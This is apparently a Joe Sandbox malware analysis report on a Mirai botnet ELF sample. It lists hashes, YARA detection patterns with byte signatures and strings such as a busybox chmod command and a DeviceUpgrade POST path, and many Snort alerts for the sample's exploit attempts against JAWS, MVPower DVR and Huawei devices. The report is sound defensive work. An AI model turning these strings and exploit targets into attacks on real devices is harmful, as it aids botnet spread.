Edit tour

Linux Analysis Report
VkiGKeyI3L.elf

Overview

General Information

Sample name:	VkiGKeyI3L.elf renamed because original name is a hash value
Original sample name:	669fd3cb15554ae292bac7ad853afc4d.elf
Analysis ID:	1425652
MD5:	669fd3cb15554ae292bac7ad853afc4d
SHA1:	10853e2f3bcc3c74c5bdbe1659da502b8691fb91
SHA256:	dc489ed62a36b034c22dd55d0d3f7834272135376db5858f6517688e2147857f
Tags:	32elfgafgytintel
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Contains symbols with names commonly found in malware

Machine Learning detection for sample

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1425652
Start date and time:	2024-04-14 03:59:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	VkiGKeyI3L.elf renamed because original name is a hash value
Original Sample Name:	669fd3cb15554ae292bac7ad853afc4d.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/VkiGKeyI3L.elf
PID:	5474
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

VkiGKeyI3L.elf (PID: 5474, Parent: 5395, MD5: 669fd3cb15554ae292bac7ad853afc4d) Arguments: /tmp/VkiGKeyI3L.elf

VkiGKeyI3L.elf New Fork (PID: 5475, Parent: 5474)

VkiGKeyI3L.elf New Fork (PID: 5476, Parent: 5475)

VkiGKeyI3L.elf New Fork (PID: 5477, Parent: 5475)

VkiGKeyI3L.elf New Fork (PID: 5478, Parent: 5475)

VkiGKeyI3L.elf New Fork (PID: 5480, Parent: 5475)

VkiGKeyI3L.elf New Fork (PID: 5481, Parent: 5475)

VkiGKeyI3L.elf New Fork (PID: 5482, Parent: 5475)

dash New Fork (PID: 5483, Parent: 3590)

rm (PID: 5483, Parent: 3590, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.IYUtWQoua1 /tmp/tmp.dkiIyFheOB /tmp/tmp.VG7yU2zJFi

dash New Fork (PID: 5484, Parent: 3590)

cat (PID: 5484, Parent: 3590, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.IYUtWQoua1

dash New Fork (PID: 5485, Parent: 3590)

head (PID: 5485, Parent: 3590, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 5486, Parent: 3590)

tr (PID: 5486, Parent: 3590, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 5487, Parent: 3590)

cut (PID: 5487, Parent: 3590, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 5488, Parent: 3590)

cat (PID: 5488, Parent: 3590, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.IYUtWQoua1

dash New Fork (PID: 5489, Parent: 3590)

head (PID: 5489, Parent: 3590, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 5490, Parent: 3590)

tr (PID: 5490, Parent: 3590, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 5491, Parent: 3590)

cut (PID: 5491, Parent: 3590, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 5492, Parent: 3590)

rm (PID: 5492, Parent: 3590, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.IYUtWQoua1 /tmp/tmp.dkiIyFheOB /tmp/tmp.VG7yU2zJFi

xfce4-panel New Fork (PID: 5514, Parent: 3147)

wrapper-2.0 (PID: 5514, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5515, Parent: 3147)

wrapper-2.0 (PID: 5515, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5516, Parent: 3147)

wrapper-2.0 (PID: 5516, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5517, Parent: 3147)

wrapper-2.0 (PID: 5517, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

wrapper-2.0 New Fork (PID: 5542, Parent: 5517)

xfpm-power-backlight-helper (PID: 5542, Parent: 5517, MD5: 3d221ad23f28ca3259f599b1664e2427) Arguments: /usr/sbin/xfpm-power-backlight-helper --get-max-brightness

xfce4-panel New Fork (PID: 5518, Parent: 3147)

wrapper-2.0 (PID: 5518, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5519, Parent: 3147)

wrapper-2.0 (PID: 5519, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

dbus-daemon New Fork (PID: 5541, Parent: 5540)

xfconfd (PID: 5541, Parent: 5540, MD5: 4c7a0d6d258bb970905b19b84abcd8e9) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd

systemd New Fork (PID: 5551, Parent: 2935)

xfce4-notifyd (PID: 5551, Parent: 2935, MD5: eee956f1b227c1d5031f9c61223255d1) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
VkiGKeyI3L.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
VkiGKeyI3L.elf	Linux_Trojan_Mirai_122ff2e6	unknown	unknown	0xe39f:$a: 24 EB 15 89 F0 83 C8 01 EB 03 8B 5B 08 3B 43 04 72 F8 8B 4B 0C 89
VkiGKeyI3L.elf	Linux_Trojan_Mirai_99d78950	unknown	unknown	0x1a8e:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1b65:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1c35:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1fac:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x2123:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
VkiGKeyI3L.elf	Linux_Trojan_Mirai_fa48b592	unknown	unknown	0x11a05:$a: 31 C0 BA 01 00 00 00 B9 01 00 00 00 03 04 24 89 D7 31 D2 F7 F7 0F
VkiGKeyI3L.elf	Linux_Trojan_Mirai_aa39fb02	unknown	unknown	0x7ce3:$a: 74 DE 8D 40 F1 3C 01 76 D7 80 FA 38 74 D2 80 FA 0A 74 CD 80 0xafa2:$a: 74 DE 8D 40 F1 3C 01 76 D7 80 FA 38 74 D2 80 FA 0A 74 CD 80
VkiGKeyI3L.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xd1d2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
VkiGKeyI3L.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1237d:$x2: /bin/busybox chmod 777 * /tmp/ 0x120e0:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x11f20:$s3: POST /cdn-cgi/
Click to see the 2 entries

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5474.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5474.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_122ff2e6	unknown	unknown	0xe39f:$a: 24 EB 15 89 F0 83 C8 01 EB 03 8B 5B 08 3B 43 04 72 F8 8B 4B 0C 89
5474.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0x1a8e:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1b65:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1c35:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1fac:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x2123:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
5474.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_fa48b592	unknown	unknown	0x11a05:$a: 31 C0 BA 01 00 00 00 B9 01 00 00 00 03 04 24 89 D7 31 D2 F7 F7 0F
5474.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_aa39fb02	unknown	unknown	0x7ce3:$a: 74 DE 8D 40 F1 3C 01 76 D7 80 FA 38 74 D2 80 FA 0A 74 CD 80 0xafa2:$a: 74 DE 8D 40 F1 3C 01 76 D7 80 FA 38 74 D2 80 FA 0A 74 CD 80
5474.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xd1d2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5474.1.0000000008048000.000000000805c000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1237d:$x2: /bin/busybox chmod 777 * /tmp/ 0x120e0:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x11f20:$s3: POST /cdn-cgi/
5476.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5476.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_122ff2e6	unknown	unknown	0xe39f:$a: 24 EB 15 89 F0 83 C8 01 EB 03 8B 5B 08 3B 43 04 72 F8 8B 4B 0C 89
5476.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0x1a8e:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1b65:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1c35:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1fac:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x2123:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
5476.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_fa48b592	unknown	unknown	0x11a05:$a: 31 C0 BA 01 00 00 00 B9 01 00 00 00 03 04 24 89 D7 31 D2 F7 F7 0F
5476.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_aa39fb02	unknown	unknown	0x7ce3:$a: 74 DE 8D 40 F1 3C 01 76 D7 80 FA 38 74 D2 80 FA 0A 74 CD 80 0xafa2:$a: 74 DE 8D 40 F1 3C 01 76 D7 80 FA 38 74 D2 80 FA 0A 74 CD 80
5476.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xd1d2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5476.1.0000000008048000.000000000805c000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1237d:$x2: /bin/busybox chmod 777 * /tmp/ 0x120e0:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x11f20:$s3: POST /cdn-cgi/
Click to see the 9 entries

Snort Signatures

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 182.16.253.51

Timestamp:	04/14/24-04:01:53.805608
SID:	2030092
Source Port:	53388
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.104.29.222

Timestamp:	04/14/24-04:00:23.581357
SID:	2030092
Source Port:	36518
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 172.98.167.125

Timestamp:	04/14/24-04:00:30.671371
SID:	2030092
Source Port:	36516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 108.59.247.146

Timestamp:	04/14/24-04:01:39.212023
SID:	2025883
Source Port:	34712
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 147.182.173.40

Timestamp:	04/14/24-04:01:50.611430
SID:	2030092
Source Port:	41156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 191.85.52.98

Timestamp:	04/14/24-04:00:22.740168
SID:	2030092
Source Port:	48156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 20.103.122.207

Timestamp:	04/14/24-04:01:47.624292
SID:	2025883
Source Port:	51576
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 82.223.21.137

Timestamp:	04/14/24-04:01:02.380372
SID:	2025883
Source Port:	50492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 201.211.35.185

Timestamp:	04/14/24-04:01:15.381804
SID:	2030092
Source Port:	33018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 154.212.222.199

Timestamp:	04/14/24-04:01:49.333830
SID:	2025883
Source Port:	38184
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 44.212.152.11

Timestamp:	04/14/24-04:00:21.603945
SID:	2025883
Source Port:	33568
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.41.161.203

Timestamp:	04/14/24-04:00:19.325629
SID:	2030092
Source Port:	53182
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 20.82.227.179

Timestamp:	04/14/24-04:01:30.440565
SID:	2025883
Source Port:	36070
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.58.229.127

Timestamp:	04/14/24-04:01:35.714018
SID:	2030092
Source Port:	48048
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 143.204.37.147

Timestamp:	04/14/24-04:00:16.351082
SID:	2030092
Source Port:	43502
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 191.61.185.208

Timestamp:	04/14/24-04:00:45.823660
SID:	2030092
Source Port:	35950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 149.106.147.162

Timestamp:	04/14/24-04:00:22.774035
SID:	2025883
Source Port:	49392
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 89.117.229.176

Timestamp:	04/14/24-04:01:32.627415
SID:	2025883
Source Port:	33716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.86.229.116

Timestamp:	04/14/24-04:01:02.689671
SID:	2030092
Source Port:	56302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 185.49.69.132

Timestamp:	04/14/24-04:01:42.036001
SID:	2030092
Source Port:	53876
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 139.162.20.153

Timestamp:	04/14/24-04:00:39.681596
SID:	2025883
Source Port:	59966
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.173.187.36

Timestamp:	04/14/24-04:00:36.719961
SID:	2025883
Source Port:	58002
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 46.229.129.131

Timestamp:	04/14/24-04:00:58.842752
SID:	2030092
Source Port:	44174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 68.61.182.44

Timestamp:	04/14/24-04:00:26.769298
SID:	2030092
Source Port:	34058
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 207.60.38.122

Timestamp:	04/14/24-04:01:39.336822
SID:	2030092
Source Port:	44336
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.231.136.43

Timestamp:	04/14/24-04:00:46.618837
SID:	2025883
Source Port:	59338
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 204.114.95.126

Timestamp:	04/14/24-04:01:08.197623
SID:	2030092
Source Port:	60042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 39.100.85.162

Timestamp:	04/14/24-03:59:55.025744
SID:	2025883
Source Port:	51368
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 35.186.240.219

Timestamp:	04/14/24-04:01:22.226449
SID:	2025883
Source Port:	60336
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 85.122.208.160

Timestamp:	04/14/24-04:00:45.351451
SID:	2030092
Source Port:	45776
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 136.22.132.205

Timestamp:	04/14/24-04:01:15.329563
SID:	2025883
Source Port:	53182
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 39.96.116.6

Timestamp:	04/14/24-04:01:11.331237
SID:	2025883
Source Port:	51104
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 212.193.59.47

Timestamp:	04/14/24-04:01:28.779670
SID:	2030092
Source Port:	34912
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 182.92.126.127

Timestamp:	04/14/24-04:00:58.602964
SID:	2030092
Source Port:	38648
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 35.233.4.129

Timestamp:	04/14/24-04:01:08.272967
SID:	2030092
Source Port:	45670
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 173.255.248.225

Timestamp:	04/14/24-04:01:28.249941
SID:	2025883
Source Port:	48322
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.77.130.124

Timestamp:	04/14/24-04:00:19.956914
SID:	2835222
Source Port:	50190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.198.87.106

Timestamp:	04/14/24-04:00:40.640622
SID:	2025883
Source Port:	58186
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 184.31.108.44

Timestamp:	04/14/24-04:01:45.192547
SID:	2030092
Source Port:	52284
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 218.145.157.167

Timestamp:	04/14/24-04:01:55.478116
SID:	2030092
Source Port:	55036
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 173.44.211.253

Timestamp:	04/14/24-03:59:54.894621
SID:	2030092
Source Port:	48558
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.74.49.225

Timestamp:	04/14/24-04:00:14.043600
SID:	2030092
Source Port:	33676
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.118.98.24

Timestamp:	04/14/24-04:00:26.671375
SID:	2030092
Source Port:	53538
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 2.23.225.45

Timestamp:	04/14/24-04:01:19.302115
SID:	2025883
Source Port:	54664
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 147.47.56.57

Timestamp:	04/14/24-04:00:26.885793
SID:	2025883
Source Port:	36766
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.42.132.46

Timestamp:	04/14/24-04:00:27.665307
SID:	2025883
Source Port:	45736
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.102.140.68

Timestamp:	04/14/24-04:00:57.934126
SID:	2030092
Source Port:	42320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.108.214.213

Timestamp:	04/14/24-04:01:30.558775
SID:	2030092
Source Port:	38970
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 45.76.43.88

Timestamp:	04/14/24-04:00:47.619412
SID:	2025883
Source Port:	50810
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 35.162.70.249

Timestamp:	04/14/24-04:01:52.301708
SID:	2025883
Source Port:	51858
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 75.101.148.175

Timestamp:	04/14/24-04:00:45.618669
SID:	2030092
Source Port:	38324
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 103.140.205.113

Timestamp:	04/14/24-04:00:23.893828
SID:	2025883
Source Port:	47062
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 38.38.113.178

Timestamp:	04/14/24-04:01:02.222902
SID:	2030092
Source Port:	51726
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

